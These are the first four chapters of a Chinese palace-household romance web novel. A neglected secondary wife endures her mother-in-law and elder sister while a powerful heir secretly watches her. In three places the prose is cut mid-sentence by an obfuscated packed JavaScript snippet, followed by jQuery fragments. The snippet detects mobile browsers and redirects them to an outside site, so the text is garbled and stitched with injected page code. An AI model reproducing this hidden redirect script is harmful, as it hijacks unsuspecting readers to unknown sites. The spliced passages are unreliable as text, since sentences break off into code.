《替姐姐嫁入宅门的第四年》 1. 第1章 入秋以后刮了风,庞氏就总是头疼,这会子让郎中扎完了针,正假寐着。 旁边烧了炭盆,小丫鬟送走了郎中进来添炭,用火钳拨弄炭火之时难免迸溅出声响和火丝。 就这间隙,庞氏时不时撩起眼皮子看向在末尾垂着头给她捏腿的人。 一袭天青水蓝色的云裙很是素雅,挽发的簪子仅用了三两支,款式也简单,手上佩了一只水镯,随着她的动作,时不时晃动,水镯透亮,可镯子主人的腕子更细嫰莹白。 她半跪在榻前,腰肢纤细,素雅的衣裙挡不住她窈窕的身形,侧脸柔美恬静…… 庞氏打量的视线过于明显,正在给她捏腿的女子抬眼看了过去,轻声询问,“是不是儿媳捏得太重了?” 顾及着庞氏的睡眠,她始终控制着力道,越来越轻柔。 往日里庞氏彻底睡了过去,祝吟鸾便也收手了,可今日都过了半个时辰,庞氏依然没有睡着,甚至睁了眼睛,自然不明所以。 见眼前人眸中露出不解以及丝丝惶恐不安,庞氏收了腿,祝吟鸾只能收回早起酸涩的手腕,“……” 旁边的婆子上前用软被给庞氏盖住腿脚。 祝吟鸾起身站到一边,婆母不曾发话,她即便是还不曾用午膳也不能够离开。 嫁进卫家几年,她对庞氏的性子多有了解,已经不似最初那般总摸不透而犯错挨训了。 过了半盏茶的功夫,摆够架子的庞氏总算开口,可照旧是阖着眼,语调慢而缓,“琢哥儿借调的事情,可曾忙完了?” 说起来这件事情,祝吟鸾也是沉默。 她刚嫁进来的时候卫家败落,卫如琢因为家中父亲的事情受到牵连,后借着吟鸾娘家势力堪堪挤入官场做个不知名的典史。 说起来这门亲事,原本是家中为姐姐订好的姻缘,可卫家大人因为接手案子办得不顺畅,又得罪了上司遭罚贬去了外地,一两年都难回来一次,卫家子弟也受连坐之罪,暂不能科考。 家中疼惜长姐担心她过来受罪,推了不受宠的吟鸾出来替嫁。 因为姻亲关系祝卫两家一直都有往来,可祝吟鸾话少安静,她虽然见过卫如琢,却从来没说过一句话。 两人刚成亲的时候,面对面尴尬,有所顾忌保留,但为着夫妻情分,他偶尔会跟她说几句。 成亲的后半年,两人渐渐熟稔起来,卫如琢大小事宜都会跟她诉说,祝吟鸾也会渐渐跟他提提意见,他也会酌情采纳。 可到了第二年,他在官场站稳脚跟,得了机遇从典史晋升,又一跃提入翰林院,如今蒸蒸日上,也不知从何时开始,两人之间话渐渐少了下来。 有时候就算是同处在一方屋檐之下,即便是见面,十天半个月都说不上三两句。 尤其这一年来,卫如琢很少跟她提起公事,若是过多问了他便皱眉摆出恼怒神色,居高临下看着她,祝吟鸾噎声,明白之后再没有越界,两人也渐行渐远。 前些时日,户部要重整户籍编写人丁名册,因着人手不够,原本在翰林院做编修的卫如琢也被借调过去了。 这件事情起初她还不知道呢,是等不到他回来用膳,又见他早出晚归,这才从他身边人得知他借调去了户部帮忙。 听着庞氏的语气不好,吟鸾微微抿唇,照实摇头说不知。 庞氏果然动怒了,她不满,“也不知你一日都在做什么?!自家夫郎都忙成什么样子了,却连他的消息也不得而知,果真是闲着只晓得吃白食的!” 训话的间隙,略带轻蔑的壶眼神将她从头扫到脚,着重掠过了她的肚子。 婆母刻意为难,祝吟鸾没有接腔,“......” 见她半天绷不出来一个声响,庞氏重重呵了一气,旁边的婆子忙上前劝慰,“郎中才说了要您顾及身子,可不能动怒了,若是头疼,只怕扎针也无用。” 经过婆子劝慰,庞氏方才好些,到底没说什么了,嫌弃地摆摆手,让她下去。 出了停雨阁,跟在庞氏身边的婆子,送她出来的云妈妈轻声道,“夫人这些时日身子不爽利,说的话您可别往心里去啊。” 祝吟鸾往日里待下人们和善,会瞧事的也爱重她,表里帮着,背地里也会宽慰一两句。 她浅笑道,“婆母的身子要劳烦您看着了。” “少夫人说得哪里话,都是奴婢们分内的事情。” 闲话两句之后,云妈妈折返,祝吟鸾回了院子用午膳,饭菜早就摆好了,方才没动筷就被庞氏叫走,如今等着小丫鬟热了端上来,还没吃两口,外头又传来声响。 她扭头越过打开的窗桕,看到步履匆匆的仆妇是母亲陪嫁给姐姐的人。 这婆子仗着祝家地位祝吟鸾好性子,不等人通传,直接闯了进来,没有行礼问安,直接道,“三小姐,大小姐那边出了事情,叫您去一趟呢!” 自幼贴身跟着祝吟鸾的小丫鬟明芽要为她辩驳两句,说她还没有用膳。 可祝吟鸾已经抬手打住了她的动作,眼神朝着她示意不要开口。 婆子看见了主仆两人之间的动作,却也只当没有看见,还在催促着,“您快些去啊,若是不去,大小姐可是受委屈了!” 她只能颔首说好。 过去的路上,祝吟鸾大体知道了是为些什么,无非还是那样,姐夫骆暄在外吃酒戏了花娘,她姐姐心中不快,便吵嚷了起来哭诉不休。 实际上到了骆府,她又能说些什么呢? 骆暄任工部屯田司郎,官位压在卫如琢上面,她便是撑腰也没什么作用吧?可姐姐这一年总喜欢叫她,且越来越频繁,往日里两人并没有这样亲厚。 若是不去,跟着姐姐陪嫁的婆子朝母亲通气,她又要挨骂了,说她不疼惜姐姐,自家姐妹也不照拂。 可回想当初,姐姐嫁入高门骆家,她替姐姐周全,填卫家姻缘,卫家潦倒穷困,姐姐锦衣玉食,哪里帮过她一分? “小姐吃些糕点垫肚子,这来来往往只怕还要好一会呢,您这些时日不思饮食,人都瘦了。”明芽拿出糕点。 “出来的时候匆忙,这还是姣惠提前预备好的,她心思真细。” 姣惠命苦,原不是卫家的丫鬟,是祝吟鸾在京城买的丫头,十一二三的年岁卖身葬父,脸上有块胎记旁人嫌晦气不要。 祝吟鸾看着可怜,出钱帮她安葬了父亲,又给了一些银钱让她去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241261|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安身,她偷偷跟着祝吟鸾,被祝吟鸾发觉之后,跪在地上朝她磕头说是要伺候她,怎么说不肯走,这一留便是几年。 买姣惠的银钱是祝吟鸾私房,带她回来的时候,婆母庞氏责骂她花钱不管手脚,家里的人还不够她使唤。 回想这些,心头颇颇乏累。 展开一看是桂圆糕,祝吟鸾也没吃多少,郎中给她把脉的时候嘱咐了,若要孩子,饮食要注意些,糕点之类甜腻太过不宜多吃。 “你吃吧。”她推给明芽。 主子神色不好,明芽见了担心,也没有胃口,便收了起来。 眼尖的婆子透过车帘缝瞧见了,忍不住道,“大小姐哭得上气不接下气,饭也吃不下,三小姐倒是有胃口,马车里也不忘记尝糕点。” 明芽听了恼怒,要给祝吟鸾申辩,被她拦了下来,那婆子嗤了一声。 “…这原是家中带的,不知妈妈可曾用了,若是不嫌可以尝尝看。”吟鸾撩起车帘让明芽递出去。 那婆子神色不屑,手接得倒是很快。 明芽恼怒,想要为吟鸾出头,却也明白她的性子和顾忌,到底没有开口,只在心里想着是喂给狗了。 骆家占着京城好地段,跟卫家有些远,如今刚过午后,正是京城热闹的时候,马车走了许久还没到。 祝吟鸾有些难受,她刚要跟明芽拿帕子,忽而马车一晃,险些摔了。 明芽掀开车帘往外看去,还没问怎么回事,就听到车夫道,“撞、撞到贵人了。” 贵人? 京城满地都是贵人,听到这句话,祝吟鸾起初还没有过多慌乱。 可明芽低声慌张的提醒,“小姐,是昭平侯府沈家的马车!” 沈家?! 那可真是京城顶级权贵了,开罪不起的,只是不知道这里面是坐着沈家的谁? 眉头一皱稳住心神之后,祝吟鸾正打算亲自下马车去赔礼让路。 可方才掀开马车对面竟然已经来了个随从打扮的人,手里还提着一个精致的黄花梨漆嵌兽食盒。 “世子爷今日出门匆忙,不防冲撞了娘子,如今坏了的车轴正在修,唯恐要些许时辰,这些从宫内赏赐的膳食糕点算世子爷的赔礼,还请娘子务必收下,莫要见怪。” 世子爷? 沈家马车里坐着的竟是京城如今最备受瞩目议论的侯府世子沈景湛?! “小姐…”旁边的明芽见祝吟鸾蹙眉看去,眼前的人还在等着,便低声催促。 也是颇为棘手的,沈家的面子谁敢拂却,她只能做礼让明芽收下了。 “这都不碍事,世子爷实在…客气了。”吟鸾看了一眼的对面华贵的马车。 随从送了之后作揖折返。 祝吟鸾又看一眼拥堵的人和马车,见前面的人的确在修整,那侯府沈家的马车岿然不动,她放下了车帘。 “小姐!这些宫内的膳食糕点好是精致!” 明芽打开以后惊叹不止,她欣喜,“味道定然不错的,况且正巧了不是,趁着对面修马车的间隙,您快吃了吧。” 手中被塞了银筷,祝吟鸾还没有彻底回神。 为何这样巧? 2. 第2章 她方才饿得有些坐不住马车,头晕目眩之时,怎么刚好就有膳食送上来? 且不说侯府所用的食盒都是上等漆木所制,雕纹也比寻常人家刻得好,就说这膳食.精致热乎,味美色全,更重要的是宫内赏赐下来的。 宫里御膳司的四房二库使用人手都是天底下最好的师傅厨娘,做出来的饭菜自然非同一般。 饶是祝吟鸾此刻心烦意乱没有胃口,瞧着这些,也勾出了些许味蕾。 “时辰不等人,一会您可还要忙呢,大小姐的事情真不知要耽误到什么时候,咱赶紧的?”怕外头的婆子听见,明芽压低了声音哄着她。 “这些虽然不是宫内直接赏给您的,可今儿竟然有口福吃上了!” 见吟鸾在她的劝说之下动了筷,明芽很开心在她旁边说话,帮她拿帕子倒茶,又盯着车帘,就怕那讨人嫌的婆子又横.插.一脚,讨要两口。 外头只有修马车的动静,再没有听到什么酸言酸语,明芽跟祝吟鸾猜道,是对面沈家的人震住了这婆子。 也的确如此,透过被风吹动的车帘,祝吟鸾留意到,侯府沈家马车附近严装以待的侍卫正四处盯着,这排场堪比宫内的贵人。 祝家的婆子好面,自然不会在对方的注视之下做出遭人诟病的事情。 她吃得缓慢,也给明芽递了一双银筷,让她尝尝,可明芽不接,只叫她自己吃。 还在祝吟鸾旁边欣喜嘀咕道,“上回夫人去相国寺烧香拜佛,跟着侍郎夫人,有幸尝到了一口御赐的糕点,回来还明里暗里敲打您没见过世面,如今要让她知道您巧打误撞一人尽享宫内的膳食糕点,指不定怎么眼红呢。” 卫家蒸蒸日上,庞氏便开始往外往上结交,但够到的高门有限,沈家这样的权贵,庞氏都沾不上边。 “回去以后不要提这件事情。”祝吟鸾叮嘱。 “小姐为人低调,奴婢跟了您十几年自然明白。”明芽点头让她担心。 “嗯。”她很清楚明芽就是为了上次的事情给她出口气——即便这口气只是背地里说说,到底是为了叫她松乏些。 祝吟鸾很清楚,庞氏本来就不喜欢她,更中意姐姐一些。 无论她嫁入卫家做了多少事情,可婆母始终瞧不上她的出身,她只是一个庶出,不过是侥幸挂到了嫡母名下而已。 卫如琢又是卫家的嫡公子,这门亲事算她高攀。 可就算是卫家嫡公子,她一开始就不想嫁,谁也没有问过她。 思及此,祝吟鸾用膳的速度慢了一些,没一会也不吃了,让明芽收起来。 “怎么就不吃了?奴婢瞧着那侯府马车还要修好一会呢!” “着实用不下了。”她让明芽吃。 小丫鬟虽然馋,但是不敢,依然摆手拒绝。 没一会,沈家的马车修好了,随从过来拿食盒碟盘。 祝吟鸾说清洗擦拭干净了再送回去,可对面却礼貌笑着说不用,还说久等了,又给了一些赔礼,祝吟鸾摆手道不用,毕竟已经吃了膳食糕点,可对面执意,还说是世子爷的礼数。 若是祝吟鸾执意要还,便让她亲自去说,毕竟他只是跑腿传话的。 虽然没有真正见过侯府世子沈景湛,可他的大名却是如雷贯耳,真要面对面,她倒也不是不敢。 只是京城人来人往,方才因为修马车轴的事情,见是沈家马车的旗镖,已经有不少行人偷偷留意这边了。 卫家在侯府沈家面前是小门第,她又是成了几年婚的后宅妇人,若是跟这位京城第一公子有什么“牵扯”,拖累的是两人的名声,最好都不露面。 这位天子近臣可不好招惹,便是卫家公爹在此都不敢得罪,祝吟鸾也只好让明芽收起来了,又道了几声谢,说方才并不碍事,没有耽误。 两家马车相对,道路不大,按理卫家门第矮,应当卫家让道,可侯府沈家却让祝家的先走。 两家马车擦过好一会了,祝吟鸾才敢让明芽打开锦盒,发现里面是一柄用来按脸的玉轮,只一眼便能够看出玉轮所用玉材的华贵。 这怕是宫内贵妃才能够用得起,这沈世子怎么给她那么贵重的赔礼? 明芽却很兴奋,压低声音喋喋不休,“奴婢听人说,这位侯府世子可是高不可攀,清冷不好接近,没想到竟然如此温润周到!” “小姐,听说用玉轮按脸能够使肌肤胜雪,永葆青春!这沈世子还真是大手笔啊!” 祝吟鸾却觉得贵重得不敢拿,让她别说了,好生收起来,也不要对外人说,若是待会婆子问起,就说送了一些糕点,被她吃掉了。 这玉轮…日后若是有机会再还给这位侯府世子吧。 沈家马车之内,锦月圆领袍,束玉冠的俊美男子正打开底下人送上来的食盒,修长如玉的手指沿着食盒的边沿抚摸她可能触碰过的地方。 她吃得很少,看起来几乎没有怎么动过,就算如此,他还是能够仔细分辨出她都夹了些什么菜,吃了多少。 菜式有些凉了,他却执起银筷,将女子动过的菜式,一一品尝了个遍。 男人吃得慢条斯理,却好似极致享受,薄唇边始终噙着淡淡的笑意。 “……” 约莫小半个时辰,祝吟鸾才到骆家。 祝沉檀已经跟骆暄闹完了,正在房内抽噎,她趴在床榻之上,哭声断断续续,发鬓有些许乱,小丫鬟们在旁边劝着。 见到祝吟鸾后跟她行礼,告知祝沉檀她来了。 “长姐安——”好字还没有出去。 祝沉檀已经起身责问了,“你怎么来得这样迟!” “若是我遭骆暄欺负,你现在才来给我收尸是不是啊?” 两句狠声斥责后,她又问,“如琢没来吗?” 祝吟鸾噎声,“……” 就算两人曾经是订过婚的未婚夫妻,但姐姐对她夫郎的称谓却怎么都改不了。 第一次祝吟鸾过来的时候,她的长姐祝沉檀很亲密叫她夫郎的名讳,明芽忍不住提醒,还被她使气甩了很重的一巴掌,又斥责祝吟鸾,问她平日里是怎么教养下人的,做主子的没有吭声,她.插.哪门子的嘴。 这一巴掌是借着明芽打到吟鸾的脸上,话也是明里暗里在斥责她就算是挂在嫡母名下嫁出去了,也只是下人,可她不能说什么,长姐得父亲母亲宠爱,她没有娘家婆家依仗靠山,只能把苦水往肚子里咽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241262|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “夫君他…有事。” “有何事?”祝沉檀不知分寸的追问。 “朝廷上的事情,我也不得而知。” 听到朝廷两个字,祝吟鸾留意到长姐的脸色似乎奇异的缓和了一些。 她蹙了蹙眉,忍下心里不适,到底没有说什么。 祝沉檀心里都是气,转瞬间又朝着她哭诉,不,是开骂了。 问她怎么不询问卫如琢的动向,说什么在办朝廷的公务,指不定就跟骆暄一样在外面吃花酒,只是她傻她蠢不得而知罢了。 她两人一起责备,祝吟鸾都分不清她到底在说谁了。 若是以前她定然傻乎乎辩解道卫如琢不会,可这无异于在长姐的火头之上浇油,长姐会训斥她男人什么样,她真的清楚吗? 她难不成有她了解卫如琢?又说什么她和卫如琢相处的时日比她都还要长!可提起这件事情的时候祝鸣鸾脸色不好,旁边的婆子递了递眼神她又收声,面色变得很古怪。 转头骂骆暄不好,刚成亲的时候说得多好,过了几年就变了。 几次下来以后,祝吟鸾也不讨嫌和她辩驳了,只是顺着她的话点头,轻声道她讲得对。 这次也跟之前一样,小半柱香,祝沉檀骂够了口干舌燥,才擦着眼泪负气坐下来吃茶。 定了神,扫眼过来,将吟鸾从头扫到尾,让她坐下。 这样的目光十分轻视,令人心中不适,可不好表露,祝吟鸾只能垂睫坐到她对面。 “你今日怎么来得那么迟?”她又问。 往日里就算是迟缓,也不至于那么久。 可祝吟鸾还没有说话,去叫她的婆子已经快速跟祝沉檀讲清了事情的始末。 祝沉檀眉尖一锁,红红的眼睛眯起来凝盯着她,“你冲撞到了侯府沈家世子爷?他还给你送宫里的膳食糕点和赔礼?” “午后人杂,赶马的人不小心……”吟鸾解释。 可祝沉檀不听,她凝视着祝吟鸾,“你不会蓄意撞的吧?” 祝吟鸾噎语,“侯府沈家是高门,吟鸾哪里敢得罪。” “那他为何要给你送宫里的膳食糕点还有赔礼?” 说到赔礼,她又让吟鸾拿出来。 明芽刚要辩解,吟鸾道,“赔礼也是糕点,被我在马车里吃掉了。” 祝沉檀不信,依旧用怀疑的目光死死盯着她。 祝吟鸾让明芽把准备好的锦盒拿出来,见到里面是空的,看着也是装糕点的样式,祝沉檀看向旁边的婆子。 说实话,这婆子方才是偷看,瞧得不真切,看着这个盒子倒是像沈家递给祝吟鸾的那一个。 辨认一会,她朝着祝沉檀点头。 祝吟鸾敛下睫。 这茬勉强算过了,可祝沉檀又责贬道,“侯府世子沈景湛如今掌中书令兼管御史台,如此天之骄子,将来定然要是尚公主郡主,配太尉女儿的人物,你可不要肖想什么主意!” 祝吟鸾听了反而生不起气来,只觉得荒谬。 她一个已婚多年的妇人能使什么手段,跟这样位于京城权柄之巅的青年才俊有勾连? 人家恐怕都不知道她是谁吧。 3. 第3章 面对祝沉檀的明褒暗贬,她始终很好脾气,温声细语回道,“长姐放心,吟鸾不会的。” 她不会跟京城世家之首的侯爷世子有任何的牵扯。 “最好是不会。”祝沉檀审视着她冷冷一声,“能攀上卫家的亲事已经是你的福分了,若你不知检点趋炎附势,传出去丢了咱们祝家的脸,那你就仔细着吧。” 她这妹妹虽然只是庶女,出身不好,可样貌却生得无比俊俏,往日里在家的时候,就算是常年裹几身陈旧的衣裙也难以遮掩她的好颜色。 若不是母亲以养病的名号让她深居简出,少见世家门庭,这京城美人的名号只怕都要叫她给挤了上去。 眼见就是个不安分的,窝养在后宅几年,前去教习她的师傅也不是最好,可她竟然能够学得一手好针线,还看了不少书,认得许多字,有一手好丹青,可不是让人嫉妒。 不仅生得好,命也好。 当初这门姻缘被她给捡漏,如今随着卫如琢的逐步高升,她的日子面子都好过了起来,这出行坐的马车,身后跟的小丫鬟,身上穿的衣料都变多变好了。 可回想起来又是后悔,若是当初她没有攀骆家高门,如今祝吟鸾的好过日子可不都是她的? 卫如琢在朝廷之上的门路是打通了,听着父亲和骆家的口风,他颇得上面看重,这次借调若是做得好,极有可能稳升礼、户其中一部,年纪轻轻便如此突出,将来能坐到什么位置都尚未可知。 反观骆喧,几年了都没个要升的动静,整日里不上进,还去吃酒戏花娘,他真是生怕别人抓不到他的小辫子参奏弹劾。 祝沉檀看着眼前娇美沉静的庶妹,心里真是越来气。 可转念想到前几次卫如琢也会一道随着过来,后面虽不怎么来了,但还是让祝吟鸾代他送了不少料子首饰给她,且都是她从前喜爱的物件,然而这些祝吟鸾并不清楚。 思及此,祝沉檀心绪勉强缓和了些许。 庶出妹妹捡漏了她的好姻缘又怎样呢?她的夫郎心里压根就没有她。 祝吟鸾就算是事事出众,到底是笼络不住人心。 “今儿你过来就没拿些什么东西?”祝沉檀不满问。 “今日来得匆忙...我忘了。”祝吟鸾低声。 庞氏的身子骨不好,她要在跟前照看着,逢上月末,又要给小丫鬟们发放月钱,盯着家中四处的账目对管,铺子也要巡问,除此之外,卫家渐渐起势,世家妇们总会递帖子邀约,这些都要应付得体面,让人挑不出错来。 忙完了,还要去给庞氏回话,一字一句都要斟酌。 她嫁进来几年,身子骨一直没有动静,庞氏很是不满,婆媳之间的关系也愈发焦灼。 前两年,祝吟鸾的确慌张,毕竟她和卫如琢的情意还算融洽,可怎么都没有身子,私下也寻郎中看了,郎中说她身子弱但没大碍。 可近两年,庞氏催得越厉害,她就越不知道怎么说了。 要怎么跟婆母说,卫如琢早出晚归,已经很少触碰她了? 若是真开口了,庞氏定然会羞恼,说她没本事。 而且她也曾鼓起勇气,在夜里从后面抱住卫如琢的后背,可他一句今日累了早些歇息吧,将她所有邀欢的勇气彻底打散。 “怎么,问你两句,就摆脸子给我看啊?若是不想给就不必给,总归也不是什么稀罕物件。” 尽管祝吟鸾已经隐藏了声色,可祝沉檀依然从她的沉默看出她的心绪低落。 “没有,只是在思虑担忧长姐的事情。”祝吟鸾及时转移了话茬。 “我的事情有什么好思虑担忧的,若是骆暄再去花楼吃酒戏花娘,我定然不会善罢甘休!” “骆家的门庭是高,难不成我祝家就差了?” 祝吟鸾没接话,她只知道自己很羡慕长姐有这样的底气。 家里的二哥哥今年科考中了榜,如今已然在朝廷做事了。 虽然没有太大的官职,借着父亲的势,暗中斡旋一番,但到底是入了三省底下,三省可是压在六部之上的。 二哥哥和长姐是一母所出,二哥哥自然也是长姐的底气。 所以长姐一个不满,便敢和骆暄闹,就仗着她是祝家最得宠的嫡长女。 无论做错什么,父亲母亲都会为她兜底。 祝吟鸾很清楚,也很黯然,同为祝家女儿,她却……什么都没有。 自幼年起便要恭敬柔顺,事事听话,才能够在家中立足,在卫家立足。 也正是因为如此,她才很不明白,长姐这一年来与她走得很近的用意到底是为了什么? 真的是因为卫家的攀升么?卫家虽升,但比着祝家、骆家还差许多,难不成是因为...…卫如琢? 思及此,祝吟鸾的心里忽而紧涩。 话说回去,长姐问她要东西…… 卫如琢也的确在前些时日给了她一些东西——是京城布纺庄新到的料子。 不,不可能。 敏锐的察觉到了这些,但又很快被她给压下。 她不该这样想的,实在过于荒谬且龌龊了,长姐已经为人妇,卫如琢这些年对她虽然没有之前的热情了,可到底事出有因,都是因为朝廷公务太忙了。 他受家中拖累盘踞多年,一朝腾飞,定然要用尽全力,再者说他也很好,她没有身孕,家里婆母让他收丫鬟纳姨娘,他也没有答应。 何况他偶尔会让人给她买衣裙料子首饰钗环,这些赠予并不是一次两次,而是很多次。 就算卫如琢的确说过她走访骆家看姐姐不要空手去,可到底是为了周全两家的礼数,才不是单纯的因为姐姐。 她应该相信自己的枕边人,他跟她这都许多年了啊。 祝沉檀和骆暄的事情,她不好开口,便绕了话茬,“我的确是备办了,只因为近来婆母身子不好,要照看婆母,这才忙忘了,回头就让人送来。”她跟祝沉檀解释。 “好吧,既然如此那便不与你计较了,不婆母怎么了?” “老毛病,刮风头疼。” “原来如此。”祝沉檀思忖着,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241263|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠子一转,“有没有找太医看了?” “…没有。”太医是专门服侍帝王后妃的郎中,官员若是想要得太医看病,也是要正一二品才有资格,卫家哪里有这样的殊荣,所以只是找了京城的郎中看。 “前些时日母亲身子也不好,父亲请示圣上得了恩赐,特准太医给母亲看病,不如我给母亲写信,让母亲与太医说说,往卫家走一趟,给你婆母看看吧。” “若是真能如此,那要多谢姐姐了!”祝吟鸾当即谢过。 祝沉檀摆摆手,拉着她笑,“你我姐妹,何必说这些呢。” 眼看着长姐的心绪好了不少,祝吟鸾没有在这里待多久便离开了。 祝沉檀让人备办了不少补品送给庞氏安身。 见到这些补品,庞氏笑着点头,虽然没有说什么,眼神却若有似无飘过祝吟鸾,其中的对比嫌弃不言而喻。 而后祝吟鸾提起太医一事,庞氏脸上的笑纹放大,“你姐姐有这份心思,人真是不错。” “别怪我这个婆母的说话难听,我都病了这些时日,整日可以说食不安寝,你家中既然有太医看顾,你就没有想过要找你嫡母帮我问问?” “婆母训责得是,儿媳思虑不周了。” 不是她不想去做,而是家里的事情她一概不得而知,嫡母有意瞒着,她哪里就凭空知晓了? 何况就算是她知道了,嫡母会愿意帮她么?或许看在卫家的面子上愿意帮吧?这都说不准。 多说无益,祝吟鸾没有辩解。 “行了行了,你下去吧,也不必伺候我用晚膳了。”庞氏看她逆来顺受的样子就来气。“往日里有心思就多放在琢哥儿身上吧!” “是,媳妇知道了。” 卫如琢这些时日歇在官署,并不回来。 一个人没有胃口用晚膳,祝吟鸾执意吃了几口,忙着手上的事情,发觉外面竟然落了雨,打在青石路上发出滴滴答答的清脆响声。 窗桕没有彻底关拢,冷风卷过来,她忍不住打了寒颤。 明芽见状,连忙让人把斗篷送上来给她披着。 纵然是披了,祝吟鸾依然觉得冷,但小丫鬟们的月钱必然要早点对了发下去,她强打着精神对了账本,给管事的拨了银钱,正巧管事的把这个月账房支使的账目送上来了,她翻看着。 也不知是不是今日想得太多,好累,眼前昏沉,她的神思倦怠,明芽看出来以后,劝她去休息。 实在劳累,她便点头起身去了,毕竟明日还要强打精神去看庞氏那边伺候。 祝吟鸾这一睡,瞬间昏沉过去。 迷迷糊糊之间,她做了一个很奇怪的梦。 梦里有个瞧不清样貌的男人,这个男人身形高大伟岸,笼罩着她,密不透风,像座小山。 十分亲密贴在她耳边说话,声音断断续续,磁沉低哑,她都听不清他说什么,只是觉得两人之间距离太近。 他几乎要彻底压住她了,刚要推开一些,却被他的大掌猛然攥住手腕拽了过去,一时之间贴得更近了。 4. 第4章 她被拽到他宽阔结实的胸膛当中,他比刚才还要严丝合缝拢着她。 男子清冽的气息瞬间席卷着她周身八道,她能够感受到对方胸膛的温热,剧烈的心跳声。 在男人彻底将她收拢到怀中的时候………! 她吓醒了,猛然坐了起来。 整个人大口呼吸,回神。 守夜的明芽听到动静,起身撩开幔帐吓了一跳,“小姐…您怎么出了这么多汗,脸色如此苍白?” “我……”她刚要说话,忽而听得外面有动静,循声看去。 明芽快速去查看,走进来道,“是姑爷回来了。” 他竟然回来了! 欣喜之余,祝吟鸾又忍不住担心起来,今儿正值雨夜,她睡去之后雨势转大至今未小,只怕也下了个把时辰。 他冒雨回来莫不是有急事? 接手小丫鬟递过来的斗篷披上之后便快速出去迎接。 见到卫如琢站在外室低头掸身上的雨珠。 “夫君不若去换一身吧?”她说这话之时,已经招手让人去备办衣衫。 卫如琢扫了她一眼,见她披着斗篷睡眼惺忪,眉心泛着担忧微蹙,摆手拒绝,“不必了,一会还要出去。” “外头的雨这样大,夫君还要出去么?” 卫如琢顿了一会,“嗯。” “…公事还未完成,耽误不得。” 许是雨夜的缘故遮掩了几分,祝吟鸾并没有留意到他躲闪的神色。 她转头吩咐明芽快速去熬浓浓的姜汤,让他吃一碗祛寒,还嘱咐了放一些饴糖,否则姜味太辣人了。 见她忙碌的侧颜,卫如琢整肃身上的动作缓了一些。 好一会拽住她的手腕,“不必叫人忙了!我这会就得走,只是让人拿些策论。” 男人的手捏着她的手腕,与方才梦中的炙热宽大不同。 卫如琢的手想必来时受了风雨,这会子冰凉得紧,而她居于内室,身上温热,自然能够感受到不同。 祝吟鸾第一反应是她梦中的人,梦到的那个男人,似乎不是她眼前的夫郎。 梦里的那个男人比她的夫郎长得要高,手掌更大,似乎胸膛也更宽阔些…… 可若不是卫如琢,那会是谁? 她在祝家时便很少见生人,更别提外男了,只有成亲之后跟卫如琢有过亲密,既然不是卫如琢,那个人是谁? 或许真的只是一个梦吧? 梦境里自然什么都会梦到的,这应该不足为奇。 祝吟鸾一方面如此安抚着自己,一方面又觉得那个梦境好真实,就像是真的发生过一般。 “你在想什么?”卫如琢见她忽而沉思,问道。 “没、没想什么。”她很快回神,甩开脑中想法。 “担忧夫君来来去去,若不喝姜汤,受了寒气怎么办?”祝吟鸾仰着头轻声道。 “朝廷的事务再忙也应该当心身子。” 他有许久不曾跟她亲密了,方才忽而攥住她的手腕也令她止不住怔愣。 原以为她发觉了不对,听见她这么说,卫如琢也略略放心。 是他多虑了,祝吟鸾贤良沉闷,长居后宅,往日里除却必要的帖子走动之外,可以说大门不出二门不迈,怎么可能会这么快就怀疑发觉? 何况,就算是发觉又如何? 他毕竟……也没有…… 罢了,祝吟鸾不会知道。 “大公子,已经拿到了。”旁边的小厮提着一个书匣。 “你早些歇了吧。”卫如琢说了这一句之后,也没有等她的回话,直接带着人离开了。 祝吟鸾只能看着他的背影消失在雨幕当中,神色也随之寥落下来。 “……” 上一次见面还是在几日前。 祝吟鸾都不记得他有多久没陪她用膳了,每次都说很忙。 户部借调人手已经有些时日,竟然还没有忙完么? 朝廷上的事情她又不好多问。 “小姐,姑爷过些时日便回来了,您别站在门口了,一会夜风吹了你。” 祝吟鸾的脸色有些泛白,明芽很担心。 虽然卫如琢不喝姜汤,明芽还是让厨娘熬了一碗,好叫祝吟鸾吃了驱寒。 过了一会,姜汤端上来了,尝了一口有些滚烫的,祝吟鸾这才想起来问,“夫君拿了些什么书?” 那书匣很大,往日里嫌沉他不怎么用的。 “姑爷的书房一向不许人进去,奴婢们也不得而知。” 祝吟鸾看着冒热气的姜汤,心中黯了黯,对啊,她怎么忘了。 是不是今日姐姐的态度过于古怪,这才让她胡思乱想,约莫也有没歇好的缘故吧。 听着外面的雨打青石声,祝吟鸾吃了姜汤身子发了汗,要叫人拿热水沐浴,可她去内室过置物的时候,视线顿住了。 